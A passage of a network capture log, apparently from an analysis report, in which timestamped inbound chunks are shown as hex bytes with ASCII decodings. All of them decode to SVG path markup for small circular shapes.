2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-07-27 19:54:39 UTC	7989	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-07-27 19:54:39 UTC	8005	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-07-27 19:54:39 UTC	8021	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-07-27 19:54:39 UTC	8037	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
2023-07-27 19:54:39 UTC	8053	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
2023-07-27 19:54:39 UTC	8069	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-07-27 19:54:39 UTC	8085	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-07-27 19:54:39 UTC	8101	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-07-27 19:54:39 UTC	8117	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-07-27 19:54:39 UTC	8133	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
2023-07-27 19:54:39 UTC	8149	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-07-27 19:54:39 UTC	8165	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-07-27 19:54:39 UTC	8181	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-07-27 19:54:39 UTC	8197	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-07-27 19:54:39 UTC	8213	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-07-27 19:54:39 UTC	8229	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: ,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-07-27 19:54:39 UTC	8245	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
